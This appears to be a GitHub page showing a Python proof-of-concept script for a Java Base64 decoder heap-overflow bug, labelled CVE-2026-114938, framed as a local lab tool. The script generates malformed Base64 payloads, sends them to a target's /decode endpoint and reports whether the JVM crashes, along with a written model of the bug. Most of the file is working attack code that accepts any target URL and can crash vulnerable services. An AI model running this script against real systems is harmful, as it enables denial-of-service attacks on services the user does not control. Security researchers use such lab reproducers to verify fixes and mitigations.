Repository navigation
Expand file tree
/
Copy pathexploit_poc.py
More file actions
136 lines (115 loc) · 4.74 KB
/
Copy pathexploit_poc.py
File metadata and controls
136 lines (115 loc) · 4.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python3
"""Java4Shell (CVE-2026-114938) PoC / exploit-lab tool.
AUTHORISED LOCAL LAB USE ONLY.
Sends malformed Base64 values to the lab target and reports whether the
JVM rejects them, crashes, or survives. It also models the bug and can
verify the mitigation flag.
Usage:
python exploit_poc.py --target http://127.0.0.1:8080
python exploit_poc.py --target http://127.0.0.1:8080 --method post
python exploit_poc.py --explain
"""
import argparse
import sys
import urllib.error
import urllib.parse
import urllib.request
B64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
def payloads():
"""Malformed Base64 candidates: length not a multiple of 4, trailing '='."""
out = []
for n in (31, 32, 33, 34, 63, 64, 65, 66, 67, 128, 129, 130, 191, 192, 193):
body = "".join(B64[i % len(B64)] for i in range(n))
if n % 4 == 0:
out.append(("control-valid", body))
else:
out.append(("malformed-1pad", body + "="))
out.append(("malformed-2pad", body + "=="))
out += [
("classic-65", "A" * 65 + "="),
("classic-65-2", "A" * 65 + "=="),
("repeated-qujd", "QUJD" * 16 + "="),
]
return out
def http(method, url, data, timeout=6):
try:
if method == "post":
req = urllib.request.Request(url + "/decode", data=data.encode(), method="POST",
headers={"Content-Type": "text/plain"})
else:
q = urllib.parse.quote(data, safe="+/=")
req = urllib.request.Request(f"{url}/decode?data={q}", method="GET")
with urllib.request.urlopen(req, timeout=timeout) as r:
return r.status, r.read().decode(errors="replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode(errors="replace")
except Exception as e: # noqa: BLE001
return None, repr(e)
def alive(url, timeout=4):
try:
with urllib.request.urlopen(f"{url}/health", timeout=timeout) as r:
return r.status == 200
except Exception: # noqa: BLE001
return False
def explain():
print(__doc__)
print("""
Bug model (CVE-2026-114938):
* java.util.Base64.getDecoder() dispatches to an AVX-512 VBMI assembly
intrinsic on x86-64 CPUs that support it (Intel Ice Lake+/Tiger Lake,
AMD Zen 4+).
* For a malformed value (length not a multiple of 4, trailing '='), the
intrinsic computes a negative output length and writes 62 bytes past
the heap buffer BEFORE the JVM rejects the input.
* Result: heap corruption -> JVM crash, or (researcher-claimed) memory
disclosure ("JavaBleed") and chained RCE.
* No public RCE exploit chain exists. Calif withheld the chains; the
public reproducers produce crashes / corruption only.
This tool therefore reports crash/reject/survive. It does not and cannot
deliver a working RCE against arbitrary targets.
""")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", default="http://127.0.0.1:8080")
ap.add_argument("--method", choices=["get", "post"], default="post")
ap.add_argument("--explain", action="store_true")
args = ap.parse_args()
if args.explain:
explain()
return 0
url = args.target.rstrip("/")
print(f"[*] target: {url} method={args.method.upper()}")
if not alive(url):
print("[!] target not reachable at /health. Start it with create_lab.py")
return 2
print("[+] target alive\n")
crashes = 0
rejects = 0
ok = 0
for label, data in payloads():
status, body = http(args.method, url, data)
if status is None:
crashes += 1
print(f"[CRASH?] {label:14s} len={len(data):4d} -> no response: {body}")
if not alive(url):
print(" !! target is DOWN after this payload")
break
elif status == 400:
rejects += 1
print(f"[REJECT ] {label:14s} len={len(data):4d} -> 400 {body[:60]}")
else:
ok += 1
print(f"[OK ] {label:14s} len={len(data):4d} -> {status} {body[:60]}")
print("\n" + "-" * 48)
print(f"summary: ok={ok} rejected={rejects} crash/no-response={crashes}")
if crashes:
print("verdict: possible JVM crash / corruption triggered.")
elif ok or rejects:
print("verdict: no crash observed. On a non-AVX-512 VBMI host this is")
print(" EXPECTED - the vulnerable intrinsic is never used.")
print(" To exercise the bug, run on an AVX-512 VBMI host or in")
print(" the provided Docker image on such a host.")
print("note: no public RCE chain exists; this PoC targets crash/corruption.")
return 0
if __name__ == "__main__":
raise SystemExit(main())